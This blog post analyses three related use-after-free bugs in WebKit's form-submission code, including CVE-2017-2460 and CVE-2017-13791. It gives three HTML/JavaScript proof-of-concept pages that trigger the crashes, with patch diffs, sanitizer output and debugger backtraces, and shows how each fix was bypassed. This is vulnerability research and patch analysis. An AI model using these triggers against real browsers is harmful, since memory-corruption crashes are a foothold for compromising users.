Wednesday, February 7, 2018

Three UaFs when iterating through HTMLFormElement::associatedElements

First of all, lets look at CVE-2017-2460. It was reported in 2017-Jan-19.

PoC:
=================================================================
<script>
function go() {
  object.name = "foo";
  input.autofocus = true;
  output.appendChild(input);
  form.submit();
}
function eventhandler() {
  for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
  }
}
</script>
<body onload=go()>
<form id="form">
<object id="object">
<output id="output">a</output>
<input id="input" onfocus="eventhandler()">
=================================================================

Patch:

@@ -506,7 +506,9 @@ bool HTMLObjectElement::appendFormData(FormDataList& encoding, bool)
      if (name().isEmpty())
          return false;

 -    Widget* widget = pluginWidget();
 +    // Use PluginLoadingPolicy::DoNotLoad here or it would fire JS events synchronously
 +    // which would not be safe here.
 +    auto* widget = pluginWidget(PluginLoadingPolicy::DoNotLoad);
      if (!is<PluginViewBase>(widget))
          return false;
      String value;

@@ -190,18 +191,22 @@ Ref<FormSubmission> FormSubmission::create(HTMLFormElement& form, const Attribut

bool containsPasswordData = false;
 -    for (auto& control : form.associatedElements()) {
 -        auto& element = control->asHTMLElement();
 -        if (!element.isDisabledFormControl())
 -            control->appendFormData(domFormData, isMultiPartForm);
 -        if (is<HTMLInputElement>(element)) {
 -            auto& input = downcast<HTMLInputElement>(element);
 -            if (input.isTextField()) {
 -                formValues.append({ input.name().string(), input.value() });
 -                input.addSearchResult();
 +    {
 +        NoEventDispatchAssertion noEventDispatchAssertion;
 +
 +        for (auto& control : form.associatedElements()) {
 +            auto& element = control->asHTMLElement();
 +            if (!element.isDisabledFormControl())
 +                control->appendFormData(domFormData, isMultiPartForm);
 +            if (is<HTMLInputElement>(element)) {
 +                auto& input = downcast<HTMLInputElement>(element);
 +                if (input.isTextField()) {
 +                    formValues.append({ input.name().string(), input.value() });
 +                    input.addSearchResult();
 +                }
 +                if (input.isPasswordField() && !input.value().isEmpty())
 +                    containsPasswordData = true;
              }
 -            if (input.isPasswordField() && !input.value().isEmpty())
 -                containsPasswordData = true;
          }
      }

This a simple bug. They add pluginWidget(PluginLoadingPolicy::DoNotLoad)  to prevent HTMLObjectElement::appendFormData()  firing events synchronously, and a security assertion to catch JS events.
After patching, the PoC will not trigger crash any more. But that's not robust enough, in another path it could still work - we can use HTMLTextAreaElement::appendFormData() instead of HTMLObjectElement::appendFormData(). now we are able to clobber the vector of FormAssociatedElements* we're currently iterating over by inserting new form controls beneath the form element we're in the process of submitting.

So in CVE-2017-13791(reported in 2017-Sep-5),  the patch was bypassed:
=================================================================
<script>
function jsfuzzer() {
  textarea1.setRangeText("foo");
  textarea2.autofocus = true;
  textarea1.name = "foo";
  form.insertBefore(textarea2, form.firstChild);
  form.submit();
}
function eventhandler2() {
  for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
  }
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>
=================================================================

After debug, we can see that WebCore::FormAssociatedElement* was deallocated by appendChild() method:

#0 0x103670044 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/9.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5a044)
    #1 0x11465dbc0 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1ea2bc0)
    #2 0x10651b537 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdf3537)
    #3 0x106517eff in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdefeff)
    #4 0x106517d6f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdefd6f)
    #5 0x106276c98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4ec98)
    #6 0x1062775fe in WebCore::FormAssociatedElement::resetFormOwner() (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4f5fe)
    #7 0x10653719d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe0f19d)
    #8 0x105b12378 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ea378)
    #9 0x105b11ecf in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&, WebCore::ContainerNode::ReplacedAllChildren) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3e9ecf)
    #10 0x105b11798 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3e9798)
    #11 0x105b14b54 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecb54)

This happens because in the process of iterating over form.associatedElements() during form submission in FormSubmission::create, the page may cause us to clobber the vector of FormAssociatedElements* we're currently iterating over by inserting new form controls beneath the form element we're in the process of submitting. It is because FormSubmission::create calls HTMLTextAreaElement::appendFormData, which requires layout to be up to date, which in turn makes us updateLayout() and set focus, which fires a `change` event, upon which the page's JavaScript inserts additional DOM nodes into the form, modifying the vector of associated elements.
To mitigate this, instead of iterating over HTMLFormElement::associatedElements(), which returns a reference to the HTMLFormElement's actual m_associatedElements vector, we iterate over a new vector of Ref<FormAssociatedElement>s created from m_associatedElements:

@@ -191,22 +191,22 @@ Ref<FormSubmission> FormSubmission::create(HTMLFormElement& form, const Attribut
      StringPairVector formValues;

      bool containsPasswordData = false;
 -    {
 -        NoEventDispatchAssertion noEventDispatchAssertion;
 -
 -        for (auto& control : form.associatedElements()) {
 -            auto& element = control->asHTMLElement();
 -            if (!element.isDisabledFormControl())
 -                control->appendFormData(domFormData, isMultiPartForm);
 -            if (is<HTMLInputElement>(element)) {
 -                auto& input = downcast<HTMLInputElement>(element);
 -                if (input.isTextField()) {
 -                    formValues.append({ input.name().string(), input.value() });
 -                    input.addSearchResult();
 -                }
 -                if (input.isPasswordField() && !input.value().isEmpty())
 -                    containsPasswordData = true;
 +    auto protectedAssociatedElements = form.associatedElements().map([] (FormAssociatedElement* rawElement) -> Ref<FormAssociatedElement> {
 +        return *rawElement;
 +    });
 +
 +    for (auto& control : protectedAssociatedElements) {
 +        auto& element = control->asHTMLElement();
 +        if (!element.isDisabledFormControl())
 +            control->appendFormData(domFormData, isMultiPartForm);
 +        if (is<HTMLInputElement>(element)) {
 +            auto& input = downcast<HTMLInputElement>(element);
 +            if (input.isTextField()) {
 +                formValues.append({ input.name(), input.value() });
 +                input.addSearchResult();
              }
 +            if (input.isPasswordField() && !input.value().isEmpty())
 +                containsPasswordData = true;
          }
      }

Is this really solve the problem? If we change another path, will it be bypass?
The answer is yes:
=================================================================
<script>
function jsfuzzer() {
  textarea1.setRangeText("foo");
  textarea2.autofocus = true;
  textarea1.name = "foo";
  form.insertBefore(textarea2, form.firstChild);
  new FormData(form);
}
function eventhandler2() {
  for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
  }
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>
=================================================================

How does it happen?

(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 17.1
  * frame #0: 0x0000000118c31154 WebCore`WebCore::ContainerNode::updateTreeAfterInsertion(this=0x00006100000a5e40, child=0x000060b0001092d0, replacedAllChildren=No) at ContainerNode.cpp:875
    frame #1: 0x0000000118c30517 WebCore`WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(this=0x00006100000a5e40, newChild=0x000060b0001092d0) at ContainerNode.cpp:763
    frame #2: 0x0000000118c34ec4 WebCore`WebCore::ContainerNode::appendChild(this=0x00006100000a5e40, newChild=0x000060b0001092d0) at ContainerNode.cpp:725
     frame #3 ~ frame #40: ......
    frame #41: 0x00000001199bf81b WebCore`WebCore::Element::focus(this=0x000061100042af80, restorePreviousSelection=true, direction=FocusDirectionNone) at Element.cpp:2454
    frame #42: 0x000000011a4e8fcf WebCore`WebCore::HTMLFormControlElement::didAttachRenderers(this=0x00006020004caeb8)::$_1::operator()() const at HTMLFormControlElement.cpp:247
    frame #43: 0x000000011a4e8e89 WebCore`WTF::Function<void ()>::CallableWrapper<WebCore::HTMLFormControlElement::didAttachRenderers(this=0x00006020004caeb0)::$_1>::call() at Function.h:101
    frame #44: 0x00000001183972e3 WebCore`WTF::Function<void ()>::operator(this=0x000060c0006e2248)() const at Function.h:56
    frame #45: 0x000000011f493642 WebCore`WebCore::Style::PostResolutionCallbackDisabler::~PostResolutionCallbackDisabler(this=0x00007fff502b91c0) at StyleTreeResolver.cpp:564
    frame #46: 0x000000011f493755 WebCore`WebCore::Style::PostResolutionCallbackDisabler::~PostResolutionCallbackDisabler(this=0x00007fff502b91c0) at StyleTreeResolver.cpp:559
    frame #47: 0x0000000119598156 WebCore`WebCore::Document::resolveStyle(this=0x000062000009d080, type=Normal) at Document.cpp:1823
    frame #48: 0x000000011957b24b WebCore`WebCore::Document::updateStyleIfNeeded(this=0x000062000009d080) at Document.cpp:1903
    frame #49: 0x000000011958e61a WebCore`WebCore::Document::updateLayout(this=0x000062000009d080) at Document.cpp:1923
    frame #50: 0x000000011a6e231c WebCore`WebCore::HTMLTextAreaElement::appendFormData(this=0x000061100042ad00, encoding=0x0000604000651390, (null)=true) at HTMLTextAreaElement.cpp:225
    frame #51: 0x000000011a6e254b WebCore`non-virtual thunk to WebCore::HTMLTextAreaElement::appendFormData(this=0x000061100042ad00, encoding=0x0000604000651390, (null)=true) at HTMLTextAreaElement.cpp:0
    frame #52: 0x00000001197bddee WebCore`WebCore::DOMFormData::DOMFormData(this=0x0000604000651390, form=0x000061100042abc0) at DOMFormData.cpp:52
    frame #53: 0x00000001197bdefd WebCore`WebCore::DOMFormData::DOMFormData(this=0x0000604000651390, form=0x000061100042abc0) at DOMFormData.cpp:46
    frame #54: 0x000000011b50c4a6 WebCore`WebCore::DOMFormData::create(form=0x000061100042abc0) at DOMFormData.h:45
 
So we can see this happens because HTMLFormElement::associatedElements returns a const reference to a Vector of raw FormAssociatedElement pointers. In various call sites that iterate through these associated elements using this function, some require synchronous layout updates per iteration, which can lead to a bad time when combined with the first observation.
To address this, they introduce HTMLFormElement::copyAssociatedElementsVector. This returns a new vector containing strong Refs to each associated element. From each call site that may trigger synchronous layout and execute arbitrary script while iterating over associated form elements, we instead use iterate over protected FormAssociatedElements:

@@ -47,7 +47,7 @@ DOMFormData::DOMFormData(HTMLFormElement* form)
      if (!form)
          return;

 -    for (auto& element : form->associatedElements()) {
 +    for (auto& element : form->copyAssociatedElementsVector()) {
          if (!element->asHTMLElement().isDisabledFormControl())
              element->appendFormData(*this, true);
      }

@@ -454,17 +456,17 @@ void FormController::restoreControlStateFor(HTMLFormControlElementWithState& con

  void FormController::restoreControlStateIn(HTMLFormElement& form)
  {
 -    for (auto& element : form.associatedElements()) {
 -        if (!is<HTMLFormControlElementWithState>(*element))
 +    for (auto& element : form.copyAssociatedElementsVector()) {
 +        if (!is<HTMLFormControlElementWithState>(element.get()))
              continue;
 -        auto control = makeRef(downcast<HTMLFormControlElementWithState>(*element));
 -        if (!control->shouldSaveAndRestoreFormControlState())
 +        auto& control = downcast<HTMLFormControlElementWithState>(element.get());
 +        if (!control.shouldSaveAndRestoreFormControlState())
              continue;
          if (ownerFormForState(control) != &form)
              continue;
          auto state = takeStateForFormElement(control);
          if (!state.isEmpty())
 -            control->restoreFormControlState(state);
 +            control.restoreFormControlState(state);
      }
  }

@@ -62,12 +63,20 @@ std::optional<Variant<RefPtr<RadioNodeList>, RefPtr<Element>>> HTMLFormControlsC
      return Variant<RefPtr<RadioNodeList>, RefPtr<Element>> { RefPtr<RadioNodeList> { ownerNode().radioNodeList(name) } };
  }

 -const Vector<FormAssociatedElement*>& HTMLFormControlsCollection::formControlElements() const
 +const Vector<FormAssociatedElement*>& HTMLFormControlsCollection::unsafeFormControlElements() const
  {
      ASSERT(is<HTMLFormElement>(ownerNode()) || is<HTMLFieldSetElement>(ownerNode()));
      if (is<HTMLFormElement>(ownerNode()))
 -        return downcast<HTMLFormElement>(ownerNode()).associatedElements();
 -    return downcast<HTMLFieldSetElement>(ownerNode()).associatedElements();
 +        return downcast<HTMLFormElement>(ownerNode()).unsafeAssociatedElements();
 +    return downcast<HTMLFieldSetElement>(ownerNode()).unsafeAssociatedElements();
 +}
 +
 +Vector<Ref<FormAssociatedElement>> HTMLFormControlsCollection::copyFormControlElementsVector() const
 +{
 +    ASSERT(is<HTMLFormElement>(ownerNode()) || is<HTMLFieldSetElement>(ownerNode()));
 +    if (is<HTMLFormElement>(ownerNode()))
 +        return downcast<HTMLFormElement>(ownerNode()).copyAssociatedElementsVector();
 +    return downcast<HTMLFieldSetElement>(ownerNode()).copyAssociatedElementsVector();
  }

The same kind of bug was patched 3 times. It dose look a bit silly, but it is also dangerous. Callbacks can have side-effect to access(free) the object itself. Including in iterator, TOCTOU can also be break.

No comments:

Post a Comment

Compiler Optimizations

Peephole optimization In  compiler theory , peephole optimization is a kind of  optimization  performed over a very small set of instruct...